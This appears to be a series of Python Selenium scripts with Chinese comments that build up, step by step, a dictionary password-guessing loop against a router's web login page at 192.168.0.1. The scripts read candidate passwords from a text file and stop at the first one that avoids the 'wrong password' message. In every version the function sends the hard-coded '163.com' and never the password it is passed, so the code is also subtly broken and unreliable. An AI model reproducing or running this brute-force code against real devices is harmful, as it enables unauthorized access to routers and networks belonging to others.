import selenium.webdriver import time from selenium.webdriver.common.keys import Keys driver = selenium.webdriver.Chrome() driver.get("http://192.168.0.1/") time.sleep(5) inputelem = driver.find_element_by_id("lgPwd") inputelem.send_keys("163.com") #第一次, 嘗試submit, 不支持 #inputelem.submit() #第二次, 嘗試click, 不支持 #click = driver.find_element_by_id("loginSub") #click.click() #第三次, 使用回車 inputelem.send_keys(Keys.ENTER) time.sleep(3) print(driver.page_source) print(driver.page_source.find("密碼錯誤"))
import selenium.webdriver import time from selenium.webdriver.common.keys import Keys driver = selenium.webdriver.Chrome() driver.get("http://192.168.0.1/") time.sleep(3) inputelem = driver.find_element_by_id("lgPwd") inputelem.send_keys("163.com") inputelem.send_keys(Keys.ENTER) time.sleep(1) if driver.page_source.find("密碼錯誤") == -1: print("登錄成功") else: print("登錄失敗")
import selenium.webdriver import time from selenium.webdriver.common.keys import Keys def checkpassword(password): driver = selenium.webdriver.Chrome() driver.get("http://192.168.0.1/") time.sleep(3) inputelem = driver.find_element_by_id("lgPwd") inputelem.send_keys("163.com") inputelem.send_keys(Keys.ENTER) time.sleep(1) isOK=None if driver.page_source.find("密碼錯誤") == -1: print("登錄成功") isOK=True else: print("登錄失敗") isOK=False driver.close() return isOK checkpassword("123123") checkpassword("123123123123")
import selenium.webdriver import time from selenium.webdriver.common.keys import Keys def checkpassword(password): driver = selenium.webdriver.Chrome() driver.get("http://192.168.0.1/") time.sleep(3) inputelem = driver.find_element_by_id("lgPwd") inputelem.send_keys("163.com") inputelem.send_keys(Keys.ENTER) time.sleep(1) isOK=None if driver.page_source.find("密碼錯誤") == -1: #print("登錄成功") isOK=True else: #print("登錄失敗") isOK=False driver.close() return isOK #passwordfilepath=r"Z:\F\test\test.txt" passwordfilepath="test.txt" #test.txt文件內容 #123 # 456 #qqqqq # wwww #eeee # fffff passfile=open(passwordfilepath, "rb") while True: line=passfile.readline() if not line: break line=line.decode("utf-8", "ignore") linelist=line.split(" # ") password=linelist[0] isok=checkpassword(password) print(password, isok) if isok: break passfile.close()
import selenium.webdriver import time from selenium.webdriver.common.keys import Keys def checkpassword(driver, password): try: driver.refresh() driver.get("http://192.168.0.1/") driver.implicitly_wait(10) inputelem = driver.find_element_by_id("lgPwd") inputelem.send_keys("163.com") inputelem.send_keys(Keys.ENTER) time.sleep(1) isOK=None if driver.page_source.find("密碼錯誤") == -1: #print("登錄成功") isOK=True else: #print("登錄失敗") isOK=False return isOK except: driver.close() driver = selenium.webdriver.Chrome() driver.get("http://192.168.0.1/") checkpassword(driver, password) driver = selenium.webdriver.Chrome() driver.get("http://192.168.0.1/") #passwordfilepath=r"Z:\F\test\test.txt" passwordfilepath="test.txt" #test.txt文件內容 #123 # 456 #qqqqq # wwww #eeee # fffff passfile=open(passwordfilepath, "rb") while True: line=passfile.readline() if not line: break line=line.decode("utf-8", "ignore") linelist=line.split(" # ") password=linelist[0] driver.delete_all_cookies() isok=checkpassword(driver, password) print(password, isok) if isok: break passfile.close() driver.close()